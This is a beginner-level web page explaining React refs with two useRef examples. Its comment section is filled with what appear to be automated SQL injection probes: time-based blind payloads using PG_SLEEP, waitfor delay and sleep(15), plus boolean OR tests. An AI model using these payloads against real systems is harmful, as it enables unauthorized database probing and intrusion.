What are refs in React?

Experience Level: Junior
Tags: React

Answer

Refs in React are a way to access and manipulate the DOM elements directly. They provide a way to get a reference to a specific element in the component and then use it to perform actions like setting focus, changing styles, or triggering animations. Refs are created using the ref attribute in JSX and can be assigned to a variable in the component using the useRef hook. For example, let's say we have a form component with an input field that we want to focus on when the component mounts. We can create a ref using the useRef hook and then assign it to the input field using the ref attribute. Then, in the useEffect hook, we can call the focus method on the ref to set the focus on the input field.


import React, { useRef, useEffect } from 'react';

function Form() {
  const inputRef = useRef(null);

  useEffect(() => {
    inputRef.current.focus();
  }, []);

  return (
    <form>
      <label htmlFor="name">Name:</label>
      <input type="text" id="name" ref={inputRef} />
    </form>
  );
}
In this example, we create a ref using the useRef hook and assign it to the input field using the ref attribute. Then, in the useEffect hook, we call the focus method on the ref to set the focus on the input field when the component mounts. Refs can also be used to access child components and their methods. For example, let's say we have a parent component with a child component that has a method we want to call from the parent. We can create a ref in the parent component using the useRef hook and then assign it to the child component using the ref attribute. Then, we can call the child component's method using the ref.

import React, { useRef } from 'react';
import Child from './Child';

function Parent() {
  const childRef = useRef(null);

  const handleClick = () => {
    childRef.current.doSomething();
  };

  return (
    <div>
      <button onClick={handleClick}>Do something</button>
      <Child ref={childRef} />
    </div>
  );
}
In this example, we create a ref using the useRef hook in the parent component and assign it to the child component using the ref attribute. Then, we create a handleClick function that calls the child component's doSomething method using the ref. This allows us to access and manipulate the child component's methods from the parent component.

React for beginners
React for beginners

Are you learning React ? Try our test we designed to help you progress faster.

Test yourself

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e